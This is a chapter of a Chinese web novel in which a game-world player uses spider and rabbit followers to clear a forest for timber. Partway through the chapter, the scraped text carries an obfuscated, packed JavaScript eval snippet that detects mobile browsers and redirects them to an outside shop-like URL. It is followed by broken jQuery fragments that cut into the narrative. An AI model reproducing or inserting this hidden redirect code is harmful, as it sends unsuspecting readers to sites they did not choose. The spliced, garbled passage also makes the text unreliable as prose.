17. 蛛兔伐木线

作品:《榜一大佬她只想当奸商

    赶路途中,姜枝给待冬至去了私聊信息。


    钱多多:“方便问问,织布机的图纸是怎么得到的吗?”


    待冬至那边给了回应。


    待冬至:“呀,大佬早上好!”


    “图纸是我职业奖励哦。”


    跟姜枝预料的差不多。


    钱多多:“图纸给我了,你之后职业晋升怎么办?”


    过了好一会,待冬至才回了一句。


    “那也得是我活着才能考虑的事情。”


    语气相当悲观。


    待冬至:“总之,还是感谢大佬愿意卖给我的肉类,我起码不会在这两天死。”


    姜枝其实原本想问她未来的职业规划,不过看起来这位玩家并没有往长远考虑,也就算了。


    交易是你情我愿,待冬至选择了当下能果腹的食物,图纸就是姜枝的了。


    看来今天得赶紧一点。


    招募好了兔兔们,不但要想办法穿过森林,还得再往下游的栎树林方向活动。


    织布机要求放在水源附近,唯一的一条河就在栎树林里。


    女王蛛代步,跑的飞快。


    抄近路到兔兔草原,只需要四十多分钟。


    临近了昨天蛛兔大战的地方,在树林里,空出了非常大的一片空地。


    原本被踩毁掉的蜘蛛巢穴,连带着曾经在这里聚集的蜘蛛群,都不见了。


    遗落在地上的是一段一段散发着柔和白光的木材。


    姜枝去拾取。


    【木料】


    【品质:普通】


    【特性:从树身上伐下来的整段原木,未经过加工】


    【可用于:建造建筑物,制作木炭,制作木板、木方,充当高级燃料】


    一会儿工夫,姜枝捡出了26组木头,快凑够织布机所需了。


    比较有趣的是,居然还有26颗栎树种子。


    栎树种子的词条显示可食用,只不过会掉理智。


    按照姜枝的经验,有负面效果的食材,一定很难吃。


    她现在不缺食物,随便揣筐里去。


    从森林空地往前走走,很快就到草原接壤处。


    接下来就是激动人心的招募环节了。


    姜枝刚骑着蜘蛛露面,草原便明显骚动起来。


    如同海洋般碧波荡漾的草丛中,一只只灰兔敏锐的转向了她所在的方向。


    放眼望去,密密麻麻。


    这些强壮的肌肉猛兔们,就像是打开了保险的武器,一个个从胆小怯懦,变的凶猛暴躁。


    第一只兔子发起冲撞的时候,姜枝连忙催着女王蛛掉头逃命。


    背后传来轰隆隆的巨大动静。


    同样接到了撤退命令,但是没来的及跑的蜘蛛们,还是跟兔兔打起来了。


    一会儿工夫,姜枝死了十几只蜘蛛。


    果然,蛛兔的胜负只看哪方数量多。


    可惜兔兔不吃肉,死了的蜘蛛,并不能让兔兔变成眷属。


    有点浪费了。


    估摸着战斗结束,姜枝再度折返,提前弃蛛步行。


    她独自去接近草原,就没再遭到兔兔们主动攻击。


    这次有顺利的依靠多汁浆果,招募到兔兔员工。


    很好,第一步,完美达成。


    兔兔作为眷属,是没有猴子跟蜘蛛那样的主动技能。


    兔兔奔逃,是个被动。


    想要触发,还得是得靠蜘蛛。


    同时拥有这两种眷属的姜枝,自然可以做点邪恶的小实验了。


    她提前确认好路线,避开非眷属的蜘蛛巢穴。


    沿途安排好蜘蛛,刺激兔兔发起奔逃。


    蜘蛛在前面跑,兔兔在后面追,姜枝在最后面捡木料。


    所有的建筑图纸,木料都是必需品。


    木材产出也带着系统一贯的作风。


    一棵一人合抱的大树,只产出一到两组木料。


    期间姜枝也试着自己砍树。


    然后她发现,还是低估了伐木的难度。


    或许因为她力量不足,外加使用的燧石手斧,工具质量太差。


    只砍了两下,斧刃就崩了,直接显示工具损毁不说,还反伤到了姜枝5点伤害。


    姜枝不死心,重做了一把,这次小心了些。


    但满耐久的手斧也只坚持了十几下,再次坏掉。


    最终,姜枝耗费六把手斧的代价,才砍倒一棵树。


    掌心磨得鲜血淋漓,血量掉了40多点。


    到后期,几乎每次伐木,都会掉1点血。


    付出这么大代价,只换来六组木料与四根长短不一的树枝。


    回报比例太低了。


    而另一边,横冲直撞的兔兔,硬是在森林里开出了近两公里的“路”。


    姜枝追在后面捡木料,随随便便就捡到了五十多组。


    心情复杂。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379327|200038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所以,虽然有点浪费资源,当下她还是只考虑系统出产吧。


    以这片森林的资源量,她一个人再糟蹋个几十年,应该都不成问题。


    蜘蛛和兔子的互动达到了某种平衡。


    照这个效率,有望一天内把从草原到营地的“路”拉通。


    当然,过程中难免会出现蜘蛛或者兔兔的死亡损耗。


    也完全没有关系。


    需要蜘蛛的时候,单独派遣一只兔兔去巢穴附近,就能换回五六个蜘蛛劳工。


    招募兔兔的方法也简便,有多汁浆果,再安排寻物猕猴去送一趟。


    只要是落进了姜枝口袋的东西,再拿出去都会判定为有主之物。


    猕猴外卖员只需把浆果随便扔在地上,兔兔眷属便能不断增加。


    这个差事,姜枝交给了小猴子。


    寻物猕猴非常惧怕地行蜘蛛,恐惧会让眷属时间减少。


    为了控制成本,当晚上蜘蛛狩猎需要高频率往返营地的时候,她就不会再一直续猴子们的眷属时间。


    但小猴子不一样。


    它会示警。


    姜枝一直留着它,晚上也会给它喂食,还允许它留在篝火附近。


    反正姜枝现在身家丰厚,不介意多养一只猴子。


    确定了伐木线稳定运作,姜枝骑着女王蛛,朝栎树林方向前进。


    去找水源,找能够放置织布机的地方。


    赶路中途,姜枝感觉有点饿了,还停下歇歇脚。


    她拿出自己做的煮肉,跟女王蛛分着吃了


    被骑行时,女王蛛的眷属时间掉的飞快。


    吃过言遂的美味煮肉之后,自己做的淡而无盐,还腥的要命的煮肉汤,就变得难以下咽。


    好在蜘蛛不挑。


    五份煮肉下去,眷属时间拉回到十小时以上。


    最好笑的是,蜘蛛词条又变了。


    【状态:憎恶,忠诚,轻度饥饿】


    姜枝百思不得其解。


    憎恶跟忠诚这俩属性怎么能并排放在一起的?


    比较来看,给蜘蛛喂二次加工过的食物更有性价比。


    一份煮肉获取的眷属时间,跟喂一整只田鼠的时间一样都是两个小时。


    但是一只田鼠可以出10份小块的兽肉,能做十份姜枝牌无盐水煮肉。


    如果保证女王蛛一直处于眷属契约下,姜枝倒也不介意它是个反骨仔。